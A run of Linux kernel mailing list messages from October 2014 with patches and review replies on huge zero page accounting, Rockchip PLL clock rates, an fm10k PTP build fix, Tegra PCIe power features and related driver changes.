> > --- a/include/linux/huge_mm.h
> > +++ b/include/linux/huge_mm.h
> > @@ -34,6 +34,10 @@ extern int change_huge_pmd(struct vm_area_struct *vma, 
> > pmd_t *pmd,
> > unsigned long addr, pgprot_t newprot,
> > int prot_numa);
> >  
> > +extern bool is_huge_zero_page(struct page *page);
> > +
> > +extern bool is_huge_zero_pmd(pmd_t pmd);
> > +
> >  enum transparent_hugepage_flag {
> > TRANSPARENT_HUGEPAGE_FLAG,
> > TRANSPARENT_HUGEPAGE_REQ_MADV_FLAG,
> > diff --git a/mm/huge_memory.c b/mm/huge_memory.c
> > index d9a21d06..bedc3ae 100644
> > --- a/mm/huge_memory.c
> > +++ b/mm/huge_memory.c
> > @@ -173,12 +173,12 @@ static int start_khugepaged(void)
> >  static atomic_t huge_zero_refcount;
> >  static struct page *huge_zero_page __read_mostly;
> >  
> > -static inline bool is_huge_zero_page(struct page *page)
> > +bool is_huge_zero_page(struct page *page)
> >  {
> > return ACCESS_ONCE(huge_zero_page) == page;
> >  }
> >  
> > -static inline bool is_huge_zero_pmd(pmd_t pmd)
> > +bool is_huge_zero_pmd(pmd_t pmd)
> >  {
> > return is_huge_zero_page(pmd_page(pmd));
> >  }
> 
> ^^^ And all these exports.

A new function is_huge_zero_pfn() is added to mm/huge_memory.c
and exported.

Thanks.
>From 4e7bdd5bc22874175982ab50303eab32843c753c Mon Sep 17 00:00:00 2001
From: Fengwei Yin 
Date: Thu, 9 Oct 2014 22:20:58 +0800
Subject: [PATCH] smaps should deal with huge zero page exactly same as normal
 zero page.

Signed-off-by: Fengwei Yin 
---
 fs/proc/task_mmu.c  | 6 --
 include/linux/huge_mm.h | 2 ++
 mm/huge_memory.c| 5 +
 mm/memory.c | 4 
 4 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
index c341568..fb19c0c 100644
--- a/fs/proc/task_mmu.c
+++ b/fs/proc/task_mmu.c
@@ -471,8 +471,11 @@ static void smaps_pte_entry(pte_t ptent, unsigned long addr,
 	if (!page)
 		return;
 
-	if (PageAnon(page))
+	if (PageAnon(page)) {
 		mss->anonymous += ptent_size;
+		if (PageTransHuge(page))
+			mss->anonymous_thp += HPAGE_PMD_SIZE;
+	}
 
 	if (page->index != pgoff)
 		mss->nonlinear += ptent_size;
@@ -508,7 +511,6 @@ static int smaps_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,
 	if (pmd_trans_huge_lock(pmd, vma, ) == 1) {
 		smaps_pte_entry(*(pte_t *)pmd, addr, HPAGE_PMD_SIZE, walk);
 		spin_unlock(ptl);
-		mss->anonymous_thp += HPAGE_PMD_SIZE;
 		return 0;
 	}
 
diff --git 

[PATCH] clk: rockchip: change PLL setting for better clock jitter

2014-10-09 Thread Kever Yang
dclk_vop0/1 is the source of HDMI TMDS clock in rk3288, usually we
use 594MHz for clock source of dclk_vop0/1.

HDMI CTS 7-9 require TMDS Clock jitter is lower than 0.25*Tbit:
TMDS clock(MHz) CTS require jitter (ps)
297 84.2
148.5   168
74.25   336
27  1247

PLL BW and VCO frequency effects the jitter of PLL output clock,
clock jitter is better if BW is lower or VCO frequency is higher.

If PLL use default setting of RK3066_PLL_RATE( 59400, 2, 198, 4),
the TMDS Clock jitter is higher than 250ps, which means we can't
pass the test when TMDS clock is 297MHz or 148.5MHz.

If we use RK3066_PLL_RATE_BWADJ(59400, 1, 198, 8, 1),
the TMDS Clock jitter is about 60ps and we can pass all test case.

So we need this patch to make hdmi si test pass.

Signed-off-by: Kever Yang 
---

 drivers/clk/rockchip/clk-rk3288.c | 2 +-
 drivers/clk/rockchip/clk.h| 9 +
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/drivers/clk/rockchip/clk-rk3288.c 
b/drivers/clk/rockchip/clk-rk3288.c
index 7c30a5a..11a7376a 100644
--- a/drivers/clk/rockchip/clk-rk3288.c
+++ b/drivers/clk/rockchip/clk-rk3288.c
@@ -83,7 +83,7 @@ struct rockchip_pll_rate_table rk3288_pll_rates[] = {
RK3066_PLL_RATE( 74250, 8, 495, 2),
RK3066_PLL_RATE( 69600, 1, 58, 2),
RK3066_PLL_RATE( 6, 1, 50, 2),
-   RK3066_PLL_RATE( 59400, 2, 198, 4),
+   RK3066_PLL_RATE_BWADJ(59400, 1, 198, 8, 1),
RK3066_PLL_RATE( 55200, 1, 46, 2),
RK3066_PLL_RATE( 50400, 1, 84, 4),
RK3066_PLL_RATE( 5, 3, 125, 2),
diff --git a/drivers/clk/rockchip/clk.h b/drivers/clk/rockchip/clk.h
index f4791fb..fd7be53 100644
--- a/drivers/clk/rockchip/clk.h
+++ b/drivers/clk/rockchip/clk.h
@@ -62,6 +62,15 @@ enum rockchip_pll_type {
.bwadj = (_nf >> 1),\
 }
 
+#define RK3066_PLL_RATE_BWADJ(_rate, _nr, _nf, _no, _bw)   \
+{  \
+   .rate   = _rate##U, \
+   .nr = _nr,  \
+   .nf = _nf,  \
+   .no = _no,  \
+   .bwadj = _bw,   \
+}
+
 struct rockchip_pll_rate_table {
unsigned long rate;
unsigned int nr;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2] networking: fm10k: Fix build failure

2014-10-09 Thread Jeff Kirsher
On Fri, 2014-10-10 at 01:19 -0400, Pranith Kumar wrote:
> The latest linus git tip (3.18-rc1) fails with the following build failure. 
> Fix
> this by making PTP support explicit for fm10k driver.
> 
> rivers/built-in.o: In function `fm10k_ptp_register':
> (.text+0x12e760): undefined reference to `ptp_clock_registER'
> drivers/built-in.o: In function `fm10k_ptp_unregister':
> (.text+0x12e7dc): undefined reference to `ptp_clock_unregister'
> Makefile:930: recipe for target 'vmlinux' failed
> 
> Signed-off-by: Pranith Kumar 

Acked-by: Jeff Kirsher 

Dave- go ahead and pull this in directly, no need for me to put this
through our internal process.

> ---
>  drivers/net/ethernet/intel/Kconfig | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/drivers/net/ethernet/intel/Kconfig 
> b/drivers/net/ethernet/intel/Kconfig
> index 6a6d5ee..6919adb 100644
> --- a/drivers/net/ethernet/intel/Kconfig
> +++ b/drivers/net/ethernet/intel/Kconfig
> @@ -304,6 +304,7 @@ config FM10K
>   tristate "Intel(R) FM1 Ethernet Switch Host Interface Support"
>   default n
>   depends on PCI_MSI
> + select PTP_1588_CLOCK
>   ---help---
> This driver supports Intel(R) FM1 Ethernet Switch Host
> Interface.  For more information on how to identify your adapter,




signature.asc
Description: This is a digitally signed message part


Re: [PATCH v2] networking: fm10k: Fix build failure

2014-10-09 Thread David Miller
From: Pranith Kumar 
Date: Fri, 10 Oct 2014 01:19:06 -0400

> The latest linus git tip (3.18-rc1) fails with the following build failure. 
> Fix
> this by making PTP support explicit for fm10k driver.
> 
> rivers/built-in.o: In function `fm10k_ptp_register':
> (.text+0x12e760): undefined reference to `ptp_clock_registER'
> drivers/built-in.o: In function `fm10k_ptp_unregister':
> (.text+0x12e7dc): undefined reference to `ptp_clock_unregister'
> Makefile:930: recipe for target 'vmlinux' failed
> 
> Signed-off-by: Pranith Kumar 

Applied, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH v2] networking: fm10k: Fix build failure

2014-10-09 Thread Pranith Kumar
The latest linus git tip (3.18-rc1) fails with the following build failure. Fix
this by making PTP support explicit for fm10k driver.

rivers/built-in.o: In function `fm10k_ptp_register':
(.text+0x12e760): undefined reference to `ptp_clock_registER'
drivers/built-in.o: In function `fm10k_ptp_unregister':
(.text+0x12e7dc): undefined reference to `ptp_clock_unregister'
Makefile:930: recipe for target 'vmlinux' failed

Signed-off-by: Pranith Kumar 
---
 drivers/net/ethernet/intel/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/net/ethernet/intel/Kconfig 
b/drivers/net/ethernet/intel/Kconfig
index 6a6d5ee..6919adb 100644
--- a/drivers/net/ethernet/intel/Kconfig
+++ b/drivers/net/ethernet/intel/Kconfig
@@ -304,6 +304,7 @@ config FM10K
tristate "Intel(R) FM1 Ethernet Switch Host Interface Support"
default n
depends on PCI_MSI
+   select PTP_1588_CLOCK
---help---
  This driver supports Intel(R) FM1 Ethernet Switch Host
  Interface.  For more information on how to identify your adapter,
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] usb: gadget: f_fs: remove redundant ffs_data_get()

2014-10-09 Thread Robert Baldyga
On 10/09/2014 04:21 PM, Felipe Balbi wrote:
> On Thu, Oct 09, 2014 at 09:41:16AM +0200, Robert Baldyga wrote:
>> During FunctionFS bind, ffs_data_get() function was called twice
>> (in functionfs_bind() and in ffs_do_functionfs_bind()), while on unbind
>> ffs_data_put() was called once (in functionfs_unbind() function).
>> In result refcount never reached value 0, and ffs memory resources has
>> been never released.
>>
>> Since ffs_data_get() call in ffs_do_functionfs_bind() is redundant
>> and not neccessary, we remove it to have equal number of gets ans puts,
>> and free allocated memory after refcount reach 0.
>>
>> Signed-off-by: Robert Baldyga 
> 
> Which commit is this fixing ? does it deserve a stable backport ? How
> far back ?
> 

The problem starts with commit 5920cda627688c3229fd63157ff031f3f174175e
[usb: gadget: FunctionFS: convert to new function interface with
backward compatibility].

This bug causes memory leak so I think it should be in stable too.

Thanks,
Robert Baldyga
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH v2] PCI: tegra: Enable root port specific features

2014-10-09 Thread Vidya Sagar
Enables root port to advertise its ASPM-L1 capability
resulting in possible link entry to L1 when an ASPM-L1 capable
device is connected
Enables per-controller & per-TMS clock clamping by default
Enabling above features result in more power saving

It also avoids PM message truncation by waiting for DLLP to finish
before entering into L1 or L2

Signed-off-by: Vidya Sagar 
---
v2:
 Removed rp_read() & rp_write() as they seem to be redundant
 Moved port disable code under error condition i.e. it the link
  is down, corresponding port will be disabled

 drivers/pci/host/pci-tegra.c | 50 +++-
 1 file changed, 45 insertions(+), 5 deletions(-)

diff --git a/drivers/pci/host/pci-tegra.c b/drivers/pci/host/pci-tegra.c
index 3d43874..7f32b07 100644
--- a/drivers/pci/host/pci-tegra.c
+++ b/drivers/pci/host/pci-tegra.c
@@ -237,6 +237,18 @@
(0xf  << PADS_REFCLK_CFG_DRVI_SHIFT) \
)
 
+#define NV_PCIE2_RP_VEND_XP1   0x0F04
+#define NV_PCIE2_RP_VEND_XP_LINK_PVT_CTL_L1_ASPM_SUPPORT   (1 << 21)
+
+#define NV_PCIE2_RP_VEND_XP_BIST   0x0F4C
+#define PCIE2_RP_VEND_XP_BIST_GOTO_L1_L2_AFTER_DLLP_DONE   (1 << 28)
+
+#define NV_PCIE2_RP_PRIV_MISC  0x0FE0
+#define PCIE2_RP_PRIV_MISC_CTLR_CLK_CLAMP_THRESHOLD(0xF << 16)
+#define PCIE2_RP_PRIV_MISC_CTLR_CLK_CLAMP_ENABLE   (1 << 23)
+#define PCIE2_RP_PRIV_MISC_TMS_CLK_CLAMP_THRESHOLD (0xF << 24)
+#define PCIE2_RP_PRIV_MISC_TMS_CLK_CLAMP_ENABLE(1 << 31)
+
 struct tegra_msi {
struct msi_chip chip;
DECLARE_BITMAP(used, INT_PCI_MSI_NR);
@@ -1859,6 +1871,32 @@ retry:
return false;
 }
 
+/* Enable various features of root port */
+static void tegra_pcie_enable_rp_features(struct tegra_pcie_port *port)
+{
+   unsigned int data;
+
+   /* Power mangagement settings */
+   /* Enable clock clamping by default */
+   data = readl(port->base + NV_PCIE2_RP_PRIV_MISC);
+   data |= PCIE2_RP_PRIV_MISC_CTLR_CLK_CLAMP_THRESHOLD |
+   PCIE2_RP_PRIV_MISC_CTLR_CLK_CLAMP_ENABLE |
+   PCIE2_RP_PRIV_MISC_TMS_CLK_CLAMP_THRESHOLD |
+   PCIE2_RP_PRIV_MISC_TMS_CLK_CLAMP_ENABLE;
+   writel(data, port->base + NV_PCIE2_RP_PRIV_MISC);
+
+   /* Enable rootport to advertise its ASPM - L1 capability */
+   data = readl(port->base + NV_PCIE2_RP_VEND_XP1);
+   data |= NV_PCIE2_RP_VEND_XP_LINK_PVT_CTL_L1_ASPM_SUPPORT;
+   writel(data, port->base + NV_PCIE2_RP_VEND_XP1);
+
+   /* LTSSM : wait for DLLP to finish before entering L1 or L2/L3 */
+   /* to avoid truncating PM messages resulting in receiver errors */
+   data = readl(port->base + NV_PCIE2_RP_VEND_XP_BIST);
+   data |= PCIE2_RP_VEND_XP_BIST_GOTO_L1_L2_AFTER_DLLP_DONE;
+   writel(data, port->base + NV_PCIE2_RP_VEND_XP_BIST);
+}
+
 static int tegra_pcie_enable(struct tegra_pcie *pcie)
 {
struct tegra_pcie_port *port, *tmp;
@@ -1870,13 +1908,15 @@ static int tegra_pcie_enable(struct tegra_pcie *pcie)
 
tegra_pcie_port_enable(port);
 
-   if (tegra_pcie_port_check_link(port))
+   if (!tegra_pcie_port_check_link(port)) {
+   dev_info(pcie->dev, "link %u down, ignoring\n",
+   port->index);
+   tegra_pcie_port_disable(port);
+   tegra_pcie_port_free(port);
continue;
+   }
 
-   dev_info(pcie->dev, "link %u down, ignoring\n", port->index);
-
-   tegra_pcie_port_disable(port);
-   tegra_pcie_port_free(port);
+   tegra_pcie_enable_rp_features(port);
}
 
memset(, 0, sizeof(hw));
-- 
1.8.1.5

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 1/2] ARM: tegra: venice2: add GK20A GPU DT node

2014-10-09 Thread Stephen Warren
On 10/08/2014 11:11 PM, Alexandre Courbot wrote:
> From: Thierry Reding 
> 
> Add the device-tree node for the GK20A GPU and leave it disabled by
> default. It is the responsability of the bootloader to enable it if the
> VPR registers have been programmed such as the GPU can operate.

> diff --git a/arch/arm/boot/dts/tegra124-venice2.dts 
> b/arch/arm/boot/dts/tegra124-venice2.dts

> + gpu@0,5700 {
> + status = "disabled";

status="disabled" usually goes into tegra124.dtsi. A board would only
override status to "okay" if necessary, and include any board specific
properties ...

> + vdd-supply = <_gpu>;

... such as that.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] serial: of-serial: fix up PM ops on no_console_suspend

2014-10-09 Thread Stephen Warren
On 10/09/2014 02:10 AM, Jingchang Lu wrote:
> Mandatorily disabling the uart clock will cause register access
> hung on "no_console_suspend". This patch add condition check on
> it and only disable the clock with console_suspend_enabled true.

It would be useful if the email/patch subject line said "V2", and there
was a changelog below.

> Signed-off-by: Joseph Lo 

I don't think he did; he just suggested a small fix.

> Signed-off-by: Jingchang Lu 
> ---
>  drivers/tty/serial/of_serial.c | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/tty/serial/of_serial.c b/drivers/tty/serial/of_serial.c
...
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] networking: fm10k: Fix build failure

2014-10-09 Thread David Miller
From: Pranith Kumar 
Date: Fri, 10 Oct 2014 00:55:29 -0400

> The latest linus git tip (3.18-rc1) fails with the following build failure. 
> Fix
> this by making PTP support explicit for fm10k driver.
> 
> rivers/built-in.o: In function `fm10k_ptp_register':
> (.text+0x12e760): undefined reference to `ptp_clock_registER'
> drivers/built-in.o: In function `fm10k_ptp_unregister':
> (.text+0x12e7dc): undefined reference to `ptp_clock_unregister'
> Makefile:930: recipe for target 'vmlinux' failed
> 
> Signed-off-by: Pranith Kumar 

Please follow what other drivers do, which is to use "select" on this
Kconfig symbol.

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH] networking: fm10k: Fix build failure

2014-10-09 Thread Pranith Kumar
The latest linus git tip (3.18-rc1) fails with the following build failure. Fix
this by making PTP support explicit for fm10k driver.

rivers/built-in.o: In function `fm10k_ptp_register':
(.text+0x12e760): undefined reference to `ptp_clock_registER'
drivers/built-in.o: In function `fm10k_ptp_unregister':
(.text+0x12e7dc): undefined reference to `ptp_clock_unregister'
Makefile:930: recipe for target 'vmlinux' failed

Signed-off-by: Pranith Kumar 
---
 drivers/net/ethernet/intel/Kconfig | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/intel/Kconfig 
b/drivers/net/ethernet/intel/Kconfig
index 6a6d5ee..281d998 100644
--- a/drivers/net/ethernet/intel/Kconfig
+++ b/drivers/net/ethernet/intel/Kconfig
@@ -303,7 +303,7 @@ config I40EVF
 config FM10K
tristate "Intel(R) FM1 Ethernet Switch Host Interface Support"
default n
-   depends on PCI_MSI
+   depends on PCI_MSI && PTP_1588_CLOCK
---help---
  This driver supports Intel(R) FM1 Ethernet Switch Host
  Interface.  For more information on how to identify your adapter,
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] net: fs_enet: error: 'SCCE_ENET_TXF' undeclared

2014-10-09 Thread David Miller
From: Christophe Leroy 
Date: Thu,  9 Oct 2014 16:54:43 +0200 (CEST)

> [linux-devel:devel-hourly-2014100909 3763/3915] 
> drivers/net/ethernet/freescale/fs_enet/mac-scc.c:119:32: error: 
> 'SCCE_ENET_TXF' undeclared
> 
> Due to patch d43a396 net: fs_enet: Add NAPI TX, it appears that some target
> compilations are broken.
> This is due to the fact that unlike the FEC, the SCC and FCC don't have a TXF
> event (complete Frame transmitted) but only TXB (buffer transmitted).
> 
> Signed-off-by: Christophe Leroy 

Applied, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH v2 1/2] clk: rockchip: add 400MHz and 500MHz for rk3288 clock rate

2014-10-09 Thread Kever Yang
This patch add 400MHz and 500MHz to clock rate table for rk3288.

Signed-off-by: Kever Yang 
---

Changes in v2:
- change the PLL setting of 400M to meet the constraints of TRM

 drivers/clk/rockchip/clk-rk3288.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/drivers/clk/rockchip/clk-rk3288.c 
b/drivers/clk/rockchip/clk-rk3288.c
index d053529..7c30a5a 100644
--- a/drivers/clk/rockchip/clk-rk3288.c
+++ b/drivers/clk/rockchip/clk-rk3288.c
@@ -86,8 +86,10 @@ struct rockchip_pll_rate_table rk3288_pll_rates[] = {
RK3066_PLL_RATE( 59400, 2, 198, 4),
RK3066_PLL_RATE( 55200, 1, 46, 2),
RK3066_PLL_RATE( 50400, 1, 84, 4),
+   RK3066_PLL_RATE( 5, 3, 125, 2),
RK3066_PLL_RATE( 45600, 1, 76, 4),
RK3066_PLL_RATE( 40800, 1, 68, 4),
+   RK3066_PLL_RATE( 4, 3, 100, 2),
RK3066_PLL_RATE( 38400, 2, 128, 4),
RK3066_PLL_RATE( 36000, 1, 60, 4),
RK3066_PLL_RATE( 31200, 1, 52, 4),
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH v2 0/2] init some clock rate from dts for rk3288

2014-10-09 Thread Kever Yang
This patch add init rate for PLLs and some bus clock  from dts for rk3288,
add two clock rate of 400M and 500M into rate table for we will use it.
We need Doug's patch to make "aclk_cpu" get set properly:


Changes in v2:
- change the PLL setting of 400M to meet the constraints of TRM
- add review and test tag
- add some explanation in commit message

Kever Yang (2):
  clk: rockchip: add 400MHz and 500MHz for rk3288 clock rate
  ARM: dts: enable init rate for clock

 arch/arm/boot/dts/rk3288.dtsi | 10 ++
 drivers/clk/rockchip/clk-rk3288.c |  2 ++
 2 files changed, 12 insertions(+)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH v2 2/2] ARM: dts: enable init rate for clock

2014-10-09 Thread Kever Yang
We need to initialize PLL rate and some of bus clock rate while
kernel init, for there is no other module will do that.

Basically on rk3288 we use GPLL for cpu bus, peripheral bus and
most of peripheral clock, CPLL for devices who require 50M/200M
clock rate, leave NPLL behind for special requirement from
display system.

The common-clock-framework will help us to select best source for
child clocks after we init the PLLs propriety.

Signed-off-by: Kever Yang 
Reviewed-by: Doug Anderson 
Tested-by: Doug Anderson 
---

Changes in v2:
- add review and test tag
- add some explanation in commit message

 arch/arm/boot/dts/rk3288.dtsi | 10 ++
 1 file changed, 10 insertions(+)

diff --git a/arch/arm/boot/dts/rk3288.dtsi b/arch/arm/boot/dts/rk3288.dtsi
index 874e66d..2f4519b 100644
--- a/arch/arm/boot/dts/rk3288.dtsi
+++ b/arch/arm/boot/dts/rk3288.dtsi
@@ -455,6 +455,16 @@
rockchip,grf = <>;
#clock-cells = <1>;
#reset-cells = <1>;
+   assigned-clocks = < PLL_GPLL>, < PLL_CPLL>,
+ < PLL_NPLL>, < ACLK_CPU>,
+ < HCLK_CPU>, < PCLK_CPU>,
+ < ACLK_PERI>, < HCLK_PERI>,
+ < PCLK_PERI>;
+   assigned-clock-rates = <59400>, <4>,
+  <5>, <3>,
+  <15000>, <7500>,
+  <3>, <15000>,
+  <7500>;
};
 
grf: syscon@ff77 {
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 6/6] cpufreq: Loongson1: Add cpufreq driver for Loongson1B

2014-10-09 Thread Viresh Kumar
On 10 October 2014 09:13, Kelvin Cheung  wrote:

Why should we apply this patch and what is it all about ?

That's what this field is used for, please don't leave it empty.

> Signed-off-by: Kelvin Cheung 
> ---
>  drivers/cpufreq/Kconfig|  10 ++
>  drivers/cpufreq/Makefile   |   1 +
>  drivers/cpufreq/ls1x-cpufreq.c | 217 
> +
>  3 files changed, 228 insertions(+)
>  create mode 100644 drivers/cpufreq/ls1x-cpufreq.c
>
> diff --git a/drivers/cpufreq/Kconfig b/drivers/cpufreq/Kconfig
> index ffe350f..99464d7 100644
> --- a/drivers/cpufreq/Kconfig
> +++ b/drivers/cpufreq/Kconfig
> @@ -250,6 +250,16 @@ config LOONGSON2_CPUFREQ
>
>   If in doubt, say N.
>
> +config LOONGSON1_CPUFREQ
> +   tristate "Loongson1 CPUFreq Driver"
> +   help
> + This option adds a CPUFreq driver for loongson1 processors which
> + support software configurable cpu frequency.
> +
> + For details, take a look at .
> +
> + If in doubt, say N.
> +
>  endmenu
>
>  menu "PowerPC CPU frequency scaling drivers"
> diff --git a/drivers/cpufreq/Makefile b/drivers/cpufreq/Makefile
> index db6d9a2..aca7bd3 100644
> --- a/drivers/cpufreq/Makefile
> +++ b/drivers/cpufreq/Makefile
> @@ -98,6 +98,7 @@ obj-$(CONFIG_CRIS_MACH_ARTPEC3)   += 
> cris-artpec3-cpufreq.o
>  obj-$(CONFIG_ETRAXFS)  += cris-etraxfs-cpufreq.o
>  obj-$(CONFIG_IA64_ACPI_CPUFREQ)+= ia64-acpi-cpufreq.o
>  obj-$(CONFIG_LOONGSON2_CPUFREQ)+= loongson2_cpufreq.o
> +obj-$(CONFIG_LOONGSON1_CPUFREQ)+= ls1x-cpufreq.o

Why don't name it like loongson1 to maintain consistency ?

>  obj-$(CONFIG_SH_CPU_FREQ)  += sh-cpufreq.o
>  obj-$(CONFIG_SPARC_US2E_CPUFREQ)   += sparc-us2e-cpufreq.o
>  obj-$(CONFIG_SPARC_US3_CPUFREQ)+= sparc-us3-cpufreq.o
> diff --git a/drivers/cpufreq/ls1x-cpufreq.c b/drivers/cpufreq/ls1x-cpufreq.c
> new file mode 100644
> index 000..3d9a410
> --- /dev/null
> +++ b/drivers/cpufreq/ls1x-cpufreq.c
> @@ -0,0 +1,217 @@
> +/*
> + * CPU Frequency Scaling for Loongson 1 SoC
> + *
> + * Copyright (C) 2014 Zhang, Keguang 
> + *
> + * This file is licensed under the terms of the GNU General Public
> + * License version 2. This program is licensed "as is" without any
> + * warranty of any kind, whether express or implied.
> + */
> +
> +#include 
> +#include 
> +#include 
> +#include 
> +#include 
> +#include 
> +#include 
> +#include 
> +
> +#include 
> +#include 

Okay, it looks like I have forgotten some of the C basics :)
But wouldn't the above two lines search for this file in , unless
you have compiled it with something like -I include/linux ??
And even then I don't think loongson1.h is present there ..

What am I missing ?

> +
> +static struct {
> +   struct clk *clk;/* CPU clk */
> +   struct clk *mux_clk;/* MUX of CPU clk */
> +   struct clk *pll_clk;/* PLL clk */
> +   struct clk *osc_clk;/* OSC clk */
> +   unsigned int max_freq;
> +   unsigned int min_freq;
> +   struct cpufreq_frequency_table *freq_tbl;
> +} ls1x_cpufreq;
> +
> +static int ls1x_cpufreq_notifier(struct notifier_block *nb,
> +unsigned long val, void *data)
> +{
> +   if (val == CPUFREQ_POSTCHANGE)
> +   current_cpu_data.udelay_val = loops_per_jiffy;
> +
> +   return NOTIFY_OK;
> +}

Why don't you do this at a single place in mips core instead of every
mips cpufreq driver ?

> +static struct notifier_block ls1x_cpufreq_notifier_block = {
> +   .notifier_call = ls1x_cpufreq_notifier
> +};
> +
> +static int ls1x_cpufreq_target(struct cpufreq_policy *policy,
> +  unsigned int index)
> +{
> +   struct device *dev = get_cpu_device(policy->cpu);

Why don't you just save this pointer initially ? And actually
instead of this you should use pdev->dev for all this prints.
This 'dev' is for CPU0 not for driver.

> +   unsigned int old_freq, new_freq;
> +
> +   old_freq = policy->cur;
> +   new_freq = ls1x_cpufreq.freq_tbl[index].frequency;
> +
> +   /*
> +* The procedure of reconfiguring CPU clk is as below.
> +*
> +*  - Reparent CPU clk to OSC clk
> +*  - Reset CPU clock (very important)
> +*  - Reconfigure CPU DIV
> +*  - Reparent CPU clk back to CPU DIV clk
> +*/
> +
> +   dev_dbg(dev, "%u KHz --> %u KHz\n", old_freq, new_freq);
> +   clk_set_parent(policy->clk, ls1x_cpufreq.osc_clk);
> +   __raw_writel(__raw_readl(LS1X_CLK_PLL_DIV) | RST_CPU_EN | RST_CPU,
> +LS1X_CLK_PLL_DIV);
> +   __raw_writel(__raw_readl(LS1X_CLK_PLL_DIV) & ~(RST_CPU_EN | RST_CPU),
> +LS1X_CLK_PLL_DIV);
> +   clk_set_rate(ls1x_cpufreq.mux_clk, new_freq * 1000);
> +   clk_set_parent(policy->clk, ls1x_cpufreq.mux_clk);
> +
> +   return 0;
> +}
> +
> +static int 

Re: [PATCH] bcma: Add dependency on OF_ADDRESS

2014-10-09 Thread David Miller
From: Julian Calaby 
Date: Fri, 10 Oct 2014 11:24:53 +1100

> Hi,
> 
> On Fri, Oct 10, 2014 at 4:21 AM, Guenter Roeck  wrote:
>> On Thu, Oct 09, 2014 at 07:15:32PM +0200, Arend van Spriel wrote:
>>> On 10/09/14 18:54, Rafał Miłecki wrote:
>>> >On 9 October 2014 18:41, Guenter Roeck  wrote:
>>> >>Commit 2101e533f41a ("bcma: register bcma as device tree driver")
>>> >>introduces a hard dependency on OF_ADDRESS into the bcma driver.
>>> >>OF_ADDRESS is specifically disabled for the sparc architecture.
>>> >>This results in the following error when building sparc64:allmodconfig.
>>>
>>> Does this mean on sparc (using allmodconfig) you will get CONFIG_OF
>>> and !CONFIG_OF_ADDRESS? Does that makes sense?
>>>
>>
>> You tell me. From drivers/of/Kconfig:
>>
>> config OF_ADDRESS
>> def_bool y
>> depends on !SPARC
>> select OF_ADDRESS_PCI if PCI
>>
>> Presumably there is a reason to disable OF_ADDRESS for sparc.
> 
> Why not ask the sparclinux list? (CC'd)

On sparc, at boot time we precompute all of the addresses provided in
the OF device tree.

So we need none of this OF_ADDRESS infrastructure.

Frankly, I've always believed that this is how address computation
should be done on OF platforms, and it simplifies drivers massively.
You really only need to implement 2 or 3 bus translators to make it
work.  Others have disagreed with me.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v4 2/3] cap11xx: Add support for various cap11xx devices

2014-10-09 Thread Matt Ranostay
Oh good catch! Will resubmitted with v5.

On Tue, Oct 7, 2014 at 5:09 PM, Dmitry Torokhov
 wrote:
> Hi Matt,
>
> On Mon, Sep 29, 2014 at 09:26:28PM -0700, Matt Ranostay wrote:
